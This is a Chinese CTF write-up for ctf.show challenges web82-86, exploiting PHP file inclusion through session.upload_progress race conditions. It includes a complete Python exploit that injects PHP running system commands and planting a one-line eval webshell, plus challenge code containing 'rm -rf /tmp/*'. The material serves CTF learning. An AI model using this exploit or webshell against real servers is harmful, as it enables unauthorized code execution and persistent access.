web82-86笔记 session⽂件包含 (web82+.过滤 往后增加文件过滤 文件竞争)
#web82
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 19:34:45 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
这次过滤了点,⽇志包含有.log,⽤不了惹。看看南神博客,session⽂件包含。
还有安全客 https://www.freebuf.com/vuls/202819.html

知识点: 在php5.4之后php.ini开始有⼏个默认选项
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off
第⼀个表示当浏览器向服务器上传⼀个⽂件时,php将会把此次⽂件上传的详细信息(如上传时间、上传进度等)存储在session当中
第⼆个表示当⽂件上传结束后,php将会⽴即清空对应session⽂件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控
"简⽽⾔之,我们可以利⽤session.upload_progress将⽊⻢写⼊session⽂件,然后包含这个session⽂件。不过前提是我们需要创建⼀个session⽂件,并且知道session⽂件的存放位置。因为session.use_strict_mode=off的关系,我们可以⾃定义sessionID
linux系统中session⽂件⼀般的默认存储位置为 /tmp 或 /var/lib/php/session 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建⽂件:/tmp/sess_flag,即使此时⽤户没有初始化session,php也会⾃动初始化Session。 并产⽣⼀个键值,为prefix+name的值,最后被写⼊sess_⽂件⾥ 还有⼀个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利⽤条件竞争来pass,写⼀个脚本来完成
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要; name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
流程分析:
如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空, 此时我们可以利用竞争,在session文件内容清空前进行包含利用。
session文件默认存储路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
假设源代码如下: <?php $b=$_GET['file']; include "$b"; ?>
此时是可以包含⼀个恶意的⽂件,但是在现在靶机⾥⾯是不存在这个所谓的恶意⽂件的,所以我们要利⽤session.upload_progress将恶意语句写⼊session⽂件,然后包含session⽂件。
Q1: 代码⾥没有session_start()如何创建session⽂件?
A1:如果session.auto_start=On,就不需要再去执⾏session_start(),但默认情况都是关闭的。但session还有个默认选项就是session.use_strict_mode = 0,⽤户可以⾃定义ID,这个部分同上引号部分
Q2: session.upload_progress.cleanup = On导致⽂件上传后session⽂件内容⽴即清空怎么进⾏rce?
A2:这⾥可以利⽤竞争的⽅式在他清空前包含利⽤,只能写脚本了。(这⾥直接⽤有的脚本)
<!DOCTYPE html>
<html>
<body>
<form action="http://0f40dce6-e4a6-4882-822f-3981a0e5dbad.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
import io
import sys
import requests
import threading
sessid = 'Qftm'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://d0dc86a4-38d4-456f-b8ab-a163dd1b6694.challenge.ctf.show/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://d0dc86a4-38d4-456f-b8ab-a163dd1b6694.challenge.ctf.show/?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
#解析
1. 导入模块
import io
import sys
import requests
import threading
io:用于处理字节流。
sys:用于系统相关的功能,如退出程序。
requests:用于发送HTTP请求。
threading:用于多线程编程。
2. 定义全局变量
sessid = 'Qftm'
sessid:PHP会话ID,用于标识会话。
3. POST 函数
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://d0dc86a4-38d4-456f-b8ab-a163dd1b6694.challenge.ctf.show/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
POST 函数通过多线程不断发送POST请求。
io.BytesIO(b'a' * 1024 * 50):创建一个50KB大小的字节流,模拟文件上传。
session.post:发送POST请求,包含以下内容:
data:包含PHP代码,利用PHP_SESSION_UPLOAD_PROGRESS功能执行系统命令cat *(列出当前目录所有文件内容),并写入一个PHP webshell文件shell.php。
files:模拟文件上传,文件名为q.txt。
cookies:设置PHPSESSID为全局变量sessid的值。
4. READ 函数
python
复制
def READ(session):
while True:
response = session.get(f'http://d0dc86a4-38d4-456f-b8ab-a163dd1b6694.challenge.ctf.show/?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
READ 函数通过多线程不断发送GET请求,读取服务器上的会话文件。
session.get:发送GET请求,读取/tmp/sess_{sessid}文件内容。
如果响应中不包含flag,则打印[+++]retry并继续尝试。
如果响应中包含flag,则打印响应内容并退出程序。
5. 主程序
python
复制
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
使用requests.session()创建一个会话对象。
创建一个线程t1,执行POST函数。
设置t1为守护线程(daemon=True),主线程退出时子线程也会退出。
启动线程t1。
在主线程中调用READ函数,不断读取服务器响应。
6. 代码目的
该脚本利用PHP的文件上传进度功能,通过PHP_SESSION_UPLOAD_PROGRESS注入PHP代码,执行系统命令并写入一个webshell文件。
通过不断读取服务器的会话文件,尝试获取flag内容。
7. 潜在风险
该脚本用于CTF比赛,目的是获取服务器上的flag。在实际环境中,这种行为是非法的,属于未经授权的系统入侵。
代码中的PHP代码片段<?php @eval($_POST[mtfQ])?>是一个典型的webshell,可以执行任意PHP代码,具有极高的危险性。
上传成功后,就会在session['upload_progress_*']存储一些本次上传的相关信息 但是由于cleanup=on,会导致文件上传后,session文件的内容立即清空。此时我们得利用条件竞争,在session文件的内容被清空前进行文件包含
最终得到flag

web83
#web83
Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
1. session_unset()
功能:
session_unset() 用于清除当前会话中所有已注册的会话变量(即清空 $_SESSION 数组),但不会销毁会话本身。
调用 session_unset() 后,$_SESSION 数组会被清空,但会话 ID 仍然存在,会话文件也不会被删除。
2. session_destroy()
功能:
session_destroy() 用于销毁当前会话。它会删除会话文件并清空会话数据,但不会立即清空 $_SESSION 数组。
调用 session_destroy() 后,会话 ID 会失效,会话文件会被删除,但 $_SESSION 数组中的数据仍然存在于当前脚本中,直到脚本结束。
继续用以上代码脚本即可
web84
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
system("rm -rf /tmp/*"); 删除 我们本身就是在竞争,继续上⾯的脚本
web85
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
增加了检查文件是否存在,读取文件内容,并确保文件内容中不包含 < 字符,最后包含(include)该文件。基于竞争,忽略。
web86
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
代码解析
define('还要秀?', dirname(__FILE__));
功能:定义一个常量。
dirname(__FILE__):获取当前文件的目录路径。
define('还要秀?', ...):将目录路径赋值给常量 还要秀?。
注意:常量名使用了中文字符 还要秀?,虽然合法,但不推荐使用非 ASCII 字符作为常量名。
set_include_path(还要秀?);
功能:设置 PHP 的包含路径。
set_include_path():设置 PHP 脚本在包含文件时搜索的路径。
还要秀?:使用之前定义的常量作为包含路径。
作用:将当前文件所在的目录设置为 PHP 的默认包含路径。
继续用以上python竞争。
浙公网安备 33010602011771号